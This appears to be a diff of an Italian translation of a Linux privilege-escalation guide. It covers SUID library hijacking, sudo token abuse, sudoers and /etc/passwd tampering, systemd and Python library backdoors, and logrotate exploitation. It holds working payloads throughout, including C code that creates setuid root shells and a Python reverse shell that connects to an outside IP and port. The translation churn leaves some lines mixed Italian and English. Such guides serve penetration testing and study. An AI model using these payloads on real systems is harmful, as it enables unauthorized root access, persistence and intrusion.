ENOENT (No such file or directory)"_ suggerisce la possibilità di sfruttamento. +Ad esempio, imbattersi in un errore come _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ suggerisce un potenziale per lo sfruttamento. Per sfruttarlo, si procede creando un file C, ad esempio _"/path/to/.config/libcalc.c"_, contenente il seguente codice: ```c @@ -885,13 +883,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Questo codice, una volta compilato ed eseguito, punta a elevare i privilegi manipolando i permessi dei file ed eseguendo una shell con privilegi elevati. +Questo codice, una volta compilato ed eseguito, mira ad elevare i privilegi manipolando i permessi dei file ed eseguendo una shell con privilegi elevati. Compila il file C sopra in un shared object (.so) con: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Infine, l'esecuzione del SUID binary interessato dovrebbe attivare l'exploit, permettendo un potenziale compromesso del sistema. +Infine, l'esecuzione del binario SUID interessato dovrebbe attivare l'exploit, consentendo un potenziale compromesso del sistema. ## Shared Object Hijacking ```bash @@ -903,7 +901,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Ora che abbiamo trovato un SUID binary che carica una libreria da una cartella in cui possiamo scrivere, creiamo la libreria in quella cartella con il nome necessario: +Ora che abbiamo trovato un SUID binary che carica una library da una cartella in cui possiamo scrivere, creiamo la library in quella cartella con il nome necessario: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -920,13 +918,13 @@ Se ricevi un errore come ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -ciò significa che la libreria che hai generato deve avere una funzione chiamata `a_function_name`. +that means that the library you have generated need to have a function called `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) è una lista curata di binari Unix che possono essere sfruttati da un attaccante per eludere le restrizioni di sicurezza locali. [**GTFOArgs**](https://gtfoargs.github.io/) è lo stesso ma per i casi in cui puoi **inserire solo argomenti** in un comando. +[**GTFOBins**](https://gtfobins.github.io) è una lista curata di binari Unix che possono essere sfruttati da un attaccante per bypassare le restrizioni di sicurezza locali. [**GTFOArgs**](https://gtfoargs.github.io/) è lo stesso ma per i casi in cui puoi **solo injectare argomenti** in un comando. -Il progetto raccoglie funzioni legittime dei binari Unix che possono essere abusate per uscire da shell ristrette, scalare o mantenere privilegi elevati, trasferire file, generare bind e reverse shell, e facilitare altre attività di post-exploitation. +Il progetto raccoglie funzioni legittime dei binari Unix che possono essere abusate per break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, e facilitare altre attività di post-exploitation. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -947,28 +945,28 @@ https://gtfoargs.github.io/ Se puoi eseguire `sudo -l` puoi usare lo strumento [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) per verificare se trova come sfruttare qualche regola sudo. -### Riutilizzo dei token sudo +### Reusing Sudo Tokens -Nei casi in cui hai **accesso sudo** ma non la password, puoi scalare privilegi aspettando l'esecuzione di un comando sudo e poi dirottando il token di sessione. +Nei casi in cui hai **accesso a sudo** ma non la password, puoi escalare i privilegi aspettando l'esecuzione di un comando sudo e poi hijackare il token di sessione. -Requisiti per scalare i privilegi: +Requisiti per escalare privilegi: - Hai già una shell come utente "_sampleuser_" -- "_sampleuser_" ha **usato `sudo`** per eseguire qualcosa negli **ultimi 15 minuti** (di default quella è la durata del token sudo che ci permette di usare `sudo` senza inserire alcuna password) +- "_sampleuser_" ha **usato `sudo`** per eseguire qualcosa negli **ultimi 15 minuti** (di default questa è la durata del sudo token che ci permette di usare `sudo` senza inserire alcuna password) - `cat /proc/sys/kernel/yama/ptrace_scope` è 0 -- `gdb` è accessibile (puoi caricarlo) +- `gdb` è accessibile (puoi riuscire a caricarlо) -(Puoi abilitare temporaneamente `ptrace_scope` con `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` o permanentemente modificando `/etc/sysctl.d/10-ptrace.conf` impostando `kernel.yama.ptrace_scope = 0`) +(Puoi temporaneamente abilitare `ptrace_scope` con `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` o permanentemente modificando `/etc/sysctl.d/10-ptrace.conf` e impostando `kernel.yama.ptrace_scope = 0`) -Se tutti questi requisiti sono soddisfatti, **puoi scalare i privilegi usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +Se tutti questi requisiti sono soddisfatti, **puoi escalare i privilegi usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- Il **primo exploit** (`exploit.sh`) creerà il binario `activate_sudo_token` in _/tmp_. Puoi usarlo per **attivare il token sudo nella tua sessione** (non otterrai automaticamente una shell root, esegui `sudo su`): +- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Il **secondo exploit** (`exploit_v2.sh`) creerà una shell sh in _/tmp_ **di proprietà di root con setuid** +- Il **secondo exploit** (`exploit_v2.sh`) creerà una sh shell in _/tmp_ **di proprietà di root con setuid** ```bash bash exploit_v2.sh /tmp/sh -p @@ -980,25 +978,25 @@ sudo su ``` ### /var/run/sudo/ts/\ -Se hai **permessi di scrittura** nella cartella o su uno qualsiasi dei file creati all'interno della cartella puoi usare il binario [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) per **create a sudo token for a user and PID**.\\ -Ad esempio, se puoi sovrascrivere il file _/var/run/sudo/ts/sampleuser_ e hai una shell come quel user con PID 1234, puoi **obtain sudo privileges** senza bisogno di conoscere la password eseguendo: +Se hai i **permessi di scrittura** nella cartella o su uno qualsiasi dei file creati al suo interno, puoi usare il binario [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) per **creare un sudo token per un utente e un PID**.\ +Ad esempio, se puoi sovrascrivere il file _/var/run/sudo/ts/sampleuser_ e hai una shell come quell'utente con PID 1234, puoi **ottenere sudo privileges** senza dover conoscere la password eseguendo: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Il file `/etc/sudoers` e i file all'interno di `/etc/sudoers.d` configurano chi può usare `sudo` e come. Questi file **per impostazione predefinita possono essere letti solo dall'utente root e dal gruppo root**.\ -**Se** puoi **leggere** questo file potresti essere in grado di **ottenere informazioni interessanti**, e se puoi **scrivere** qualsiasi file sarai in grado di **escalare i privilegi**. +Il file `/etc/sudoers` e i file all'interno di `/etc/sudoers.d` configurano chi può usare `sudo` e come. Questi file **di default possono essere letti solo da user root e group root**.\ +**Se** puoi **leggere** questo file potresti essere in grado di **ottenere alcune informazioni interessanti**, e se puoi **scrivere** qualsiasi file sarai in grado di **escalate privileges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Se puoi scrivere, puoi abusare di questo permesso. +Se puoi scrivere, puoi abusare di questo permesso ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -Un altro modo di abusare di queste autorizzazioni: +Un altro modo per abusare di questi permessi: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1007,17 +1005,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Esistono alcune alternative al binario `sudo`, come `doas` per OpenBSD; verifica la sua configurazione in `/etc/doas.conf` +Esistono alcune alternative al binario `sudo`, come `doas` per OpenBSD; ricorda di verificare la sua configurazione in `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Se sai che un **utente si connette di solito a una macchina e usa `sudo`** per elevare i privilegi e hai ottenuto una shell in quel contesto utente, puoi **create a new sudo executable** che eseguirà il tuo codice come root e poi il comando dell'utente. Poi, **modify the $PATH** del contesto utente (per esempio aggiungendo il nuovo percorso in .bash_profile) così quando l'utente esegue sudo, il tuo sudo executable viene eseguito. +Se sai che un **user solitamente si connette a una macchina e usa `sudo`** per elevare i privilegi e hai ottenuto una shell in quel contesto utente, puoi **creare un nuovo eseguibile sudo** che eseguirà il tuo codice come root e poi il comando dell'utente. Poi, **modifica il $PATH** del contesto utente (ad esempio aggiungendo il nuovo percorso in .bash_profile) in modo che quando l'utente esegue sudo, venga eseguito il tuo eseguibile sudo. -Nota che se l'utente usa una shell diversa (non bash) dovrai modificare altri file per aggiungere il nuovo percorso. Ad esempio[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Puoi trovare un altro esempio in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Nota che se l'utente usa una shell diversa (non bash) dovrai modificare altri file per aggiungere il nuovo percorso. Per esempio[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Puoi trovare un altro esempio in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -Oppure eseguendo qualcosa del tipo: +Oppure eseguendo qualcosa come: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Copiando la libreria in `/var/tmp/flag15/` verrà utilizzata dal programma in questo percorso come specificato nella variabile `RPATH`. +Copiando la lib in `/var/tmp/flag15/` verrà utilizzata dal programma in questo punto come specificato nella variabile `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1068,7 +1065,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -Poi crea una libreria malevola in `/var/tmp` con `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +Quindi crea una libreria malevola in `/var/tmp` con `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1081,44 +1078,44 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## Capabilities +## Capacità -Le capabilities di Linux forniscono un **sottoinsieme dei privilegi di root disponibili a un processo**. Questo suddivide efficacemente i privilegi di root in **unità più piccole e distinte**. Ciascuna di queste unità può quindi essere concessa indipendentemente ai processi. In questo modo l'insieme completo dei privilegi è ridotto, diminuendo i rischi di exploitation.\ -Read the following page to **learn more about capabilities and how to abuse them**: +Le capabilities di Linux forniscono un **sottoinsieme dei privilegi di root disponibili a un processo**. Questo suddivide efficacemente i privilegi di root **in unità più piccole e distinte**. Ognuna di queste unità può poi essere concessa singolarmente ai processi. In questo modo l'insieme completo dei privilegi è ridotto, diminuendo i rischi di sfruttamento.\ +Leggi la pagina seguente per **saperne di più sulle capabilities e su come abusarne**: {{#ref}} linux-capabilities.md {{#endref}} -## Directory permissions +## Permessi delle directory -In a directory, the **bit for "execute"** implies that the user affected can "**cd**" into the folder.\ -The **"read"** bit implies the user can **list** the **files**, and the **"write"** bit implies the user can **delete** and **create** new **files**. +In una directory, il **bit "execute"** implica che l'utente interessato possa "**cd**" nella cartella.\ +Il **bit "read"** implica che l'utente possa **elencare** i **file**, e il **bit "write"** implica che l'utente possa **eliminare** e **creare** nuovi **file**. ## ACLs -Access Control Lists (ACLs) rappresentano il livello secondario di permessi discrezionali, in grado di **sovrascrivere i tradizionali permessi ugo/rwx**. Questi permessi migliorano il controllo sull'accesso a file o directory consentendo o negando diritti a utenti specifici che non sono i proprietari o parte del gruppo. Questo livello di **granularità assicura una gestione degli accessi più precisa**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) rappresentano il livello secondario di permessi discrezionali, in grado di **sovrascrivere i tradizionali permessi ugo/rwx**. Questi permessi migliorano il controllo sull'accesso a file o directory permettendo di concedere o negare diritti a utenti specifici che non sono i proprietari o parte del gruppo. Questo livello di **granularità garantisce una gestione degli accessi più precisa**. Ulteriori dettagli possono essere trovati [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Concedi** user "kali" permessi di lettura e scrittura su un file: +**Concedi** all'utente "kali" permessi di read e write su un file: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Ottieni** file con ACL specifiche dal sistema: +**Ottieni** file con ACLs specifiche dal sistema: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Aprire sessioni shell +## Sessioni shell aperte -Nelle **vecchie versioni** puoi **hijack** qualche sessione **shell** di un utente diverso (**root**).\ -Nelle **versioni più recenti** potrai **connect** alle screen sessions solo del **tuo stesso utente**. Tuttavia, potresti trovare **informazioni interessanti all'interno della sessione**. +Nelle **vecchie versioni** puoi effettuare un **hijack** di qualche sessione **shell** di un altro utente (**root**).\ +Nelle **versioni più recenti** potrai **connect** alle sessioni screen solo del **tuo user**. Tuttavia, potresti trovare **informazioni interessanti all'interno della sessione**. ### screen sessions hijacking -**Elenca screen sessions** +**Elenca le screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1133,9 +1130,9 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Questo era un problema delle **vecchie versioni di tmux**. Non sono riuscito a hijackare una sessione tmux (v2.1) creata da root come utente non privilegiato. +Questo era un problema con le **old tmux versions**. Non sono riuscito a hijack una sessione tmux (v2.1) creata da root come utente non privilegiato. -**Elenca le sessioni tmux** +**Elenca le tmux sessions** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1153,53 +1150,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Vedi la **Valentine box di HTB** per un esempio. +Consulta la **Valentine box di HTB** per un esempio. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Tutte le chiavi SSL e SSH generate su sistemi basati su Debian (Ubuntu, Kubuntu, ecc.) tra settembre 2006 e il 13 maggio 2008 potrebbero essere affette da questo bug.\ -Questo bug si verifica quando si crea una nuova ssh key in quegli OS, poiché **solo 32,768 variazioni erano possibili**. Questo significa che tutte le possibilità possono essere calcolate e **avendo la ssh public key puoi cercare la corrispondente private key**. Puoi trovare le possibilità calcolate qui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ +Questo bug si verifica durante la creazione di una nuova ssh key in quegli OS, poiché **erano possibili solo 32,768 variazioni**. Questo significa che tutte le possibilità possono essere calcolate e, avendo la ssh public key, puoi cercare la corrispondente private key. Puoi trovare le possibilità calcolate qui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values -- **PasswordAuthentication:** Specifica se l'autenticazione tramite password è consentita. Il valore di default è `no`. -- **PubkeyAuthentication:** Specifica se l'autenticazione con chiave pubblica è consentita. Il valore di default è `yes`. -- **PermitEmptyPasswords**: Quando l'autenticazione tramite password è consentita, specifica se il server permette il login ad account con stringhe di password vuote. Il valore di default è `no`. +- **PasswordAuthentication:** Specifies whether password authentication is allowed. The default is `no`. +- **PubkeyAuthentication:** Specifies whether public key authentication is allowed. The default is `yes`. +- **PermitEmptyPasswords**: When password authentication is allowed, it specifies whether the server allows login to accounts with empty password strings. The default is `no`. ### PermitRootLogin -Specifica se root può effettuare il login usando ssh, il valore di default è `no`. Valori possibili: +Specifies whether root can log in using ssh, default is `no`. Possible values: -- `yes`: root può effettuare il login usando password e chiave privata -- `without-password` or `prohibit-password`: root può loggare solo con una chiave privata -- `forced-commands-only`: Root può loggare solo usando una chiave privata e se sono specificate le opzioni di comando +- `yes`: root can login using password and private key +- `without-password` or `prohibit-password`: root can only login with a private key +- `forced-commands-only`: Root can login only using private key and if the commands options are specified - `no` : no ### AuthorizedKeysFile -Specifica i file che contengono le chiavi pubbliche che possono essere usate per l'autenticazione degli utenti. Può contenere token come `%h`, che verrà sostituito con la home directory. **Puoi indicare percorsi assoluti** (che iniziano con `/`) o **percorsi relativi dalla home dell'utente**. Per esempio: +Specifies files that contain the public keys that can be used for user authentication. It can contain tokens like `%h`, which will be replaced by the home directory. **You can indicate absolute paths** (starting in `/`) or **relative paths from the user's home**. For example: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Questa configurazione indica che, se provi a effettuare il login con la **chiave privata** dell'utente "**testusername**", ssh confronterà la chiave pubblica associata con quelle presenti in `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access` +Questa configurazione indicherà che se provi ad accedere con la **chiave privata** dell'utente "**testusername**" ssh confronterà la chiave pubblica della tua key con quelle presenti in `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding permette di **usare le tue local SSH keys invece di lasciare chiavi** (senza passphrase!) sul server. Così, potrai **jump** via ssh **a un host** e da lì **jumpare a un altro** host **usando** la **chiave** presente nel tuo **host iniziale**. +SSH agent forwarding ti permette di **usare le tue SSH keys locali invece di lasciare le chiavi** (senza passphrase!) sul tuo server. Quindi potrai **collegarti** via ssh **a un host** e da lì **collegarti a un altro** host **usando** la **chiave** presente nel tuo **host iniziale**. -Devi impostare questa opzione in `$HOME/.ssh.config` così: +Devi impostare questa opzione in `$HOME/.ssh.config` come segue: ``` Host example.com ForwardAgent yes ``` -Nota che se `Host` è `*` ogni volta che l'utente si connette a una macchina diversa, quell'host potrà accedere alle chiavi (il che rappresenta un problema di sicurezza). +Nota che se `Host` è `*` ogni volta che l'utente si connette a una macchina diversa, quell'host sarà in grado di accedere alle chiavi (il che è un problema di sicurezza). -Il file `/etc/ssh_config` può **sovrascrivere** queste **opzioni** e permettere o negare questa configurazione.\ -Il file `/etc/sshd_config` può **permettere** o **negare** ssh-agent forwarding con la parola chiave `AllowAgentForwarding` (default is allow). +Il file `/etc/ssh_config` può **sovrascrivere** queste **opzioni** e consentire o negare questa configurazione.\ +Il file `/etc/sshd_config` può **consentire** o **negare** ssh-agent forwarding con la keyword `AllowAgentForwarding` (il valore predefinito è allow). -Se trovi che Forward Agent è configurato in un ambiente leggi la pagina seguente poiché **potresti essere in grado di abusarne per escalare i privilegi**: +Se scopri che Forward Agent è configurato in un ambiente leggi la pagina seguente poiché **potresti essere in grado di abusarne per escalate privileges**: {{#ref}} @@ -1210,15 +1207,15 @@ ssh-forward-agent-exploitation.md ### File dei profili -Il file `/etc/profile` e i file sotto `/etc/profile.d/` sono **script che vengono eseguiti quando un utente avvia una nuova shell**. Pertanto, se puoi **scrivere o modificare uno qualsiasi di essi puoi elevare i privilegi**. +Il file `/etc/profile` e i file sotto `/etc/profile.d/` sono **script che vengono eseguiti quando un utente avvia una nuova shell**. Pertanto, se puoi **scrivere o modificare uno qualsiasi di essi puoi escalate privileges**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Se viene trovato uno script di profilo strano dovresti controllarlo per **dettagli sensibili**. +Se viene trovato uno script di profilo sospetto dovresti controllarlo per **dettagli sensibili**. ### File Passwd/Shadow -A seconda del sistema operativo i file `/etc/passwd` e `/etc/shadow` possono avere un nome diverso o potrebbe esserci una copia di backup. Perciò si raccomanda di **trovarli tutti** e **verificare se puoi leggerli** per vedere **se ci sono hash** all'interno dei file: +A seconda del sistema operativo i file `/etc/passwd` e `/etc/shadow` potrebbero usare un nome diverso o potrebbe esserci una copia di backup. Perciò è consigliabile **trovarli tutti** e **verificare se riesci a leggerli** per vedere **se ci sono hash** all'interno dei file: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null @@ -1237,41 +1234,42 @@ openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Poi aggiungi l'utente `hacker` e aggiungi la password generata. +Quindi aggiungi l'utente `hacker` e inserisci la password generata. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Es.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Ad esempio: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Ora puoi usare il comando `su` con `hacker:hacker` -In alternativa, puoi usare le seguenti righe per aggiungere un utente fittizio senza password.\ ATTENZIONE: potresti compromettere la sicurezza della macchina. +In alternativa, puoi usare le righe seguenti per aggiungere un utente fittizio senza password.\ +ATTENZIONE: potresti compromettere la sicurezza attuale della macchina. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NOTA: Su piattaforme BSD `/etc/passwd` si trova in `/etc/pwd.db` e `/etc/master.passwd`, inoltre `/etc/shadow` è stato rinominato in `/etc/spwd.db`. +NOTA: Sulle piattaforme BSD `/etc/passwd` si trova in `/etc/pwd.db` e `/etc/master.passwd`, inoltre `/etc/shadow` è rinominato in `/etc/spwd.db`. -Dovresti verificare se puoi **scrivere in alcuni file sensibili**. Ad esempio, puoi scrivere in qualche **file di configurazione del servizio**? +Dovresti verificare se puoi **scrivere in alcuni file sensibili**. Ad esempio, puoi scrivere in qualche **file di configurazione di servizio**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Ad esempio, se la macchina esegue un server **tomcat** e puoi **modificare il file di configurazione del servizio Tomcat all'interno di /etc/systemd/**, allora puoi modificare le righe: +Per esempio, se la macchina sta eseguendo un server **tomcat** e puoi **modificare il file di configurazione del servizio Tomcat dentro /etc/systemd/,** allora puoi modificare le righe: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -La tua backdoor verrà eseguita la prossima volta che tomcat verrà avviato. +La tua backdoor verrà eseguita la prossima volta che tomcat viene avviato. ### Controlla le cartelle -Le seguenti cartelle possono contenere backups o informazioni interessanti: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probabilmente non potrai leggere l'ultima, ma prova) +Le seguenti cartelle potrebbero contenere backup o informazioni interessanti: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probabilmente non riuscirai a leggere l'ultima ma prova) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Posizioni insolite/Owned files +### Posizione strana/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1292,7 +1290,7 @@ done ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### File di database Sqlite +### Sqlite DB files ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1316,26 +1314,26 @@ ls -alhR /srv/www/htdocs/ 2>/dev/null ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ``` -### **Backup** +### **Copie di sicurezza** ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### File noti contenenti password +### File noti che contengono passwords -Leggi il codice di [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), cerca **diversi file che potrebbero contenere password**.\ -**Another interesting tool** che puoi usare a questo scopo è: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) che è un'applicazione open source usata per recuperare molte password memorizzate su un computer locale per Windows, Linux & Mac. +Dai un'occhiata al codice di [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), cerca **diversi file che potrebbero contenere passwords**.\ +**Un altro tool interessante** che puoi usare a questo scopo è: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) che è un'applicazione open source usata per recuperare molte passwords memorizzate su un computer locale per Windows, Linux & Mac. ### Logs -Se riesci a leggere i logs, potresti trovare **informazioni interessanti/confidenziali al loro interno**. Più strano è un log, più sarà interessante (probabilmente).\ -Inoltre, alcuni "**bad**" configurati (backdoored?) **audit logs** potrebbero permetterti di **registrare password** all'interno degli audit logs come spiegato in questo post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Se puoi leggere i logs, potresti riuscire a trovare **informazioni interessanti/confidenziali al loro interno**. Più un log è strano, più sarà interessante (probabilmente).\ +Inoltre, alcuni **male configurati** (backdoored?) **audit logs** potrebbero permetterti di **registrare passwords** all'interno degli audit logs come spiegato in questo post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Il gruppo [**adm**](interesting-groups-linux-pe/index.html#adm-group) è molto utile per **leggere i log**. +Per poter leggere i logs il gruppo [**adm**](interesting-groups-linux-pe/index.html#adm-group) sarà davvero utile. -### Shell files +### File di shell ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1348,41 +1346,41 @@ Il gruppo [**adm**](interesting-groups-linux-pe/index.html#adm-group) è molto u ``` ### Generic Creds Search/Regex -Dovresti anche controllare i file che contengono la parola "**password**" nel loro **nome** o all'interno del **contenuto**, e anche cercare IPs e emails nei log, o hash tramite regexp.\ -Non descriverò qui come fare tutto questo, ma se sei interessato puoi controllare gli ultimi controlli che [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) esegue. +Dovresti anche cercare file che contengono la parola "**password**" nel loro **nome** o nel **contenuto**, e controllare anche per IPs e emails all'interno dei logs, o hashes regexps.\ +Non elencherò qui come fare tutto questo ma se sei interessato puoi controllare gli ultimi controlli che [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) perform. ## File scrivibili ### Python library hijacking -Se sai da **where** verrà eseguito uno script python e **can write inside** quella cartella o puoi **modify python libraries**, puoi modificare la libreria OS e backdoorarla (se puoi scrivere dove verrà eseguito lo script python, copia e incolla la libreria os.py). +Se sai da **dove** verrà eseguito uno script python e **puoi scrivere** in quella cartella oppure puoi **modify python libraries**, puoi modificare la libreria OS e backdoorarla (se puoi scrivere dove verrà eseguito lo script python, copia e incolla la libreria os.py). -Per **backdoor the library** aggiungi alla fine della libreria os.py la seguente riga (cambia IP e PORT): +Per **backdoor the library** aggiungi semplicemente alla fine della libreria os.py la seguente riga (change IP and PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Sfruttamento di logrotate +### Logrotate exploitation -Una vulnerabilità in `logrotate` permette a utenti con **permessi di scrittura** su un file di log o sulle directory parent di ottenere potenzialmente privilegi elevati. Questo perché `logrotate`, che spesso gira come **root**, può essere manipolato per eseguire file arbitrari, specialmente in directory come _**/etc/bash_completion.d/**_. È importante controllare i permessi non solo in _/var/log_ ma anche in qualsiasi directory dove viene applicata la rotazione dei log. +Una vulnerabilità in `logrotate` permette agli utenti con **write permissions** su un file di log o sulle sue directory genitrici di ottenere potenzialmente privilegi elevati. Questo perché `logrotate`, spesso in esecuzione come **root**, può essere manipolato per eseguire file arbitrari, specialmente in directory come _**/etc/bash_completion.d/**_. È importante controllare i permessi non solo in _/var/log_ ma anche in qualsiasi directory dove venga applicata la rotazione dei log. > [!TIP] -> Questa vulnerabilità colpisce `logrotate` versione `3.18.0` e precedenti +> Questa vulnerabilità interessa `logrotate` nella versione `3.18.0` e precedenti -Maggiori dettagli sulla vulnerabilità si trovano a questa pagina: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Informazioni più dettagliate sulla vulnerabilità si trovano a questa pagina: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). Puoi sfruttare questa vulnerabilità con [**logrotten**](https://github.com/whotwagner/logrotten). -Questa vulnerabilità è molto simile a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** quindi ogni volta che trovi di poter modificare i log, verifica chi gestisce quei log e controlla se puoi ottenere escalation di 